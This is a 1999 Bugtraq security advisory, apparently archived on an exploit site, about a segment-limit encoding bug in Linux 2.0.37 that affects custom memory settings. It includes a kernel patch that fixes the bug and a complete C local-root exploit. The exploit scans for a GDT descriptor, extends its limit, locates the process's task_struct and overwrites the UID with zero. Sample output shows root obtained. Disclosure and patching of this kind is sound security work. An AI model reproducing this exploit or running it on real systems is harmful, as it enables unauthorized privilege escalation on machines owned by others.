exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

linux_segment_limit_bug.txt

linux_segment_limit_bug.txt
Posted Sep 21, 1999

Linux 2.0.37 has a segment limit bug with filling the lower 16 bits of the "segment limit" field in the GDT descriptors

tags | exploit
systems | linux
SHA-256 | 320b823351dfb17df5eb4a6bcc7c2f2fa7df04f6fb5cc0d048d069028e7147fd

linux_segment_limit_bug.txt

Change Mirror Download
Subject:      Linux 2.0.37 segment limit bug
To: BUGTRAQ@SECURITYFOCUS.COM


Hello,


Linux 2.0.37 released last month introduces the support for more than
1 GB of physical memory on x86 (which wasn't supported in earlier 2.0
kernels). It is now possible to increase the limit, at the expense of
reducing the per process address space.


There're three settings supported: Standard (1 GB physical, plus 3 GB
per process), Enterprise (2+2), and Custom (lets one enter a value).


Unfortunately, there's a bug with filling in the lower 16 bits of the
"segment limit" field in the corresponding GDT descriptors. Because
of the bug, these bits are always set. As the limit is encoded in
pages (4 KB on x86), and has to be a multiple of 4 MB because of the
structure of page tables, the limit can be almost 252 MB off.


It is important to note that with the Standard and Enterprise memory
configurations, the limit is encoded correctly, as these bits should
really be set: both 1 GB and 2 GB are multiples of 256 MB. If you're
using one of those, you're not vulnerable.


However, if you've chosen Custom for any reason (such as, to match
your actual physical memory size, following one of the examples given
in linux/Documentation/more-than-900MB-RAM.txt, or just for the extra
diversity), then you are vulnerable.


I've fixed this vulnerability when updating my patch for 2.0.37, and
it's been out for two weeks now. I'm also including just the fix in
this post. As there's probably not going to be another 2.0 kernel,
and as I'm going to continue using 2.0 on quite a few systems for a
few months more, I am willing to fix security holes that I might find
or that might get reported to me, in future versions of my patch. As
usual, the patch is available at:


http://www.false.com/security/linux/


Its MD5 is:


1ec0707889c02198348f173215d1c693 secure-linux-08.tar.gz


Just this one fix, so that you don't have to download anything or
apply the rest of my patch:


diff -urPX nopatch linux-2.0.37/arch/i386/config.in linux/arch/i386/config.in
--- linux-2.0.37/arch/i386/config.in Sun Jun 13 21:20:59 1999
+++ linux/arch/i386/config.in Tue Jun 22 08:07:33 1999
@@ -28,7 +28,7 @@
Custom CONFIG_MEM_SPECIAL" Standard


if [ "$CONFIG_MEM_SPECIAL" = "y" ]; then
- int ' Max physical memory in MB' CONFIG_MAX_MEMSIZE 1024
+ int ' Max physical memory in MB (must be a multiple of 4)' CONFIG_MAX_MEMSIZE 1024
fi
if [ "$CONFIG_MEM_ENT" = "y" ]; then
define_int CONFIG_MAX_MEMSIZE 2048
diff -urPX nopatch linux-2.0.37/arch/i386/kernel/head.S linux/arch/i386/kernel/head.S
--- linux-2.0.37/arch/i386/kernel/head.S Sun Jun 13 21:21:00 1999
+++ linux/arch/i386/kernel/head.S Tue Jun 22 06:37:49 1999
@@ -491,7 +491,7 @@


#define lower_seg(type,dpl,base,limit) \
(((base) & 0x0000ffff)<<16) | \
- ((limit) & 0x0ffff)
+ (((limit)>>12) & 0x0ffff)


#define x86_seg(type,dpl,base,limit) \
.long lower_seg(type,dpl,base,limit); \
diff -urPX nopatch linux-2.0.37/include/asm-i386/pgtable.h linux/include/asm-i386/pgtable.h
--- linux-2.0.37/include/asm-i386/pgtable.h Sun Jun 13 21:21:03 1999
+++ linux/include/asm-i386/pgtable.h Sat Jun 26 14:49:59 1999
@@ -210,6 +210,10 @@
* pgd entries used up by user/kernel:
*/


+#if CONFIG_MAX_MEMSIZE & 3
+#error Invalid max physical memory size requested
+#endif
+
#define USER_PGD_PTRS ((unsigned long)__PAGE_OFFSET >> PGDIR_SHIFT)
#define KERNEL_PGD_PTRS (PTRS_PER_PGD-USER_PGD_PTRS)
#define __USER_PGD_PTRS (__PAGE_OFFSET >> PGDIR_SHIFT)


The exploit (local root, can be extended to also reset securelevel;
will only compile with libc 5, you'd have to rip task_struct out of
<linux/sched.h> for compiling with glibc):


#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__
#include <unistd.h>
#include <grp.h>
#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>


void die1()
{
puts("\nFailed: probably not vulnerable");
exit(1);
}


void die2()
{
puts("\nVulnerable, but failed to exploit");
exit(1);
}


int main()
{
int *sp = (int *)&sp;
int *d = sp;
struct task_struct *task = (struct task_struct *)sp;
int pid, uid;
struct rlimit old, new;


setbuf(stdout, NULL);
printf("Searching for the descriptor... ");


signal(SIGSEGV, die1);


while ((d[0] & 0xFFF0FFFF) != 0x00C0FB00 &&
(d[2] & 0xFFF0FFFF) != 0x00C0F300) d++;


signal(SIGSEGV, die2);


printf("found at %p\nExtending its limit... ", d + 2);


d[2] |= 0xF0000;


printf("done\nSearching for task_struct... ");


pid = getpid();
uid = getuid();


if (getrlimit(RLIMIT_FSIZE, &old)) {
perror("getrlimit");
return 1;
}


search:
new = old; new.rlim_cur--;
if (setrlimit(RLIMIT_FSIZE, &new))
new.rlim_cur = old.rlim_cur;


do {
((int *)task)++;
} while (task->pid != pid || task->uid != uid);


if (task->rlim[RLIMIT_FSIZE].rlim_cur != new.rlim_cur) goto search;


if (setrlimit(RLIMIT_FSIZE, &old)) {
perror("setrlimit");
return 1;
}


if (task->rlim[RLIMIT_FSIZE].rlim_cur != old.rlim_cur) goto search;


printf("found at %p\nPatching the UID... ", task);


task->uid = 0;
setuid(0);
setgid(0);
setgroups(0, NULL);


puts("done");


execl("/usr/bin/id", "id", NULL);
return 1;
}


Its output, with CONFIG_MAX_MEMSIZE=1800 (the very first example
given in linux/Documentation/more-than-900MB-RAM.txt):


Searching for the descriptor... found at 0x8f9068ac
Extending its limit... done
Searching for task_struct... found at 0x9157d810
Patching the UID... done
uid=0(root) gid=0(root)


Signed,
Solar Designer
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close